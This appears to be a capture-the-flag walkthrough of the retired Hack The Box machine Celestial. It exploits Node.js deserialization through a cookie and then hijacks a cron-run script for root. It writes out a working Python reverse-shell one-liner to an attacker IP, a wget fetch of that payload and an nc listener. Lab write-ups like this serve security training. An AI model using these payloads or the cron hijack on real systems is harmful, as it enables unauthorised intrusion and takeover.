HTB is an excellent platform that hosts machines belonging to multiple OSes. It also has some other challenges as well. Individuals have to solve the puzzle (simple enumeration plus pentest) in order to log into the platform and download the VPN pack to connect to the machines hosted on the HTB platform. Note: Only write-ups of retired HTB machines are allowed. The machine in this article, named Celestial, is retired.
The walkthrough
Let’s start with this machine.
Download the VPN pack for the individual user and use the guidelines to log into the HTB VPN.
The Celestial machine IP is 10.10.10.85.
We will adopt the same methodology of performing penetration testing as we’ve used previously. Let’s start with enumeration in order to gain as much information about the machine as possible.
As usual, let’s start with the nmap scan to gather more information about the services running on this machine. [CLICK IMAGES TO ENLARGE] «nmap -sC -sV -oA Celestial 10.10.10.85»
As we can see, only port 3000 is listed with Node.js on it. Let’ start enumerating this.
Below is the message that we received after browsing port 3000.
Let’s start Burp and see if something interesting is going on in the requests.
It looks like there is a cookie set named “profile.” The end of its value is rather interesting since %3D%3D is ==.
Copying and base64-decoding that reveals the following JSON. From the cookie decoded value, it looks like the cookie value is parsed and presented, which is “2” here. Along the same lines, there was a famous node serialization/deserialization vulnerability. More details on this can be found here.
Let’s follow that same article and build the exploit. Download the nodeshell.py from here.
Below are the command parameters for running nodeshell.py. Parameters should be the IP of attacking machine and reverse shell port.
After that, insert this as a cookie value and base64-encode it as shown below.
Fire the request, and the reverse shell will be spawned.
Upgrade the shell and grab the user.txt flag «cat user.txt»
Now let’s try to escalate privileges as well. After much enumeration, we found an interesting cron job log in /var/log/syslog which runs every five minutes and picks up script.py from the user “sun” directory. Interestingly, our current user is the same. «cat /var/log/syslog»
Since all the cards are out, let’s build a simple Python reverse shell, host it on our attacking machine, download on the victim and set up an nc listener.
Python reverse shell «import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((“10.10.14.4”,4422));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([“/bin/sh”,”-i”]);» Moving the current script from the user “sun” «mv script.py ~»
We download the new script.py from the attacker machine.
«wget http://
We set up the nc listener, and after five minutes, the reverse shell will be given. «nc -nlvp 4422»
- Enumerate to grab the root.txt file. «cat root.txt»
This was a straightforward box with an initial foothold that came from a platform vulnerability, and escalation was purely based on enumeration. We will continue this series with many more interesting HTB machines.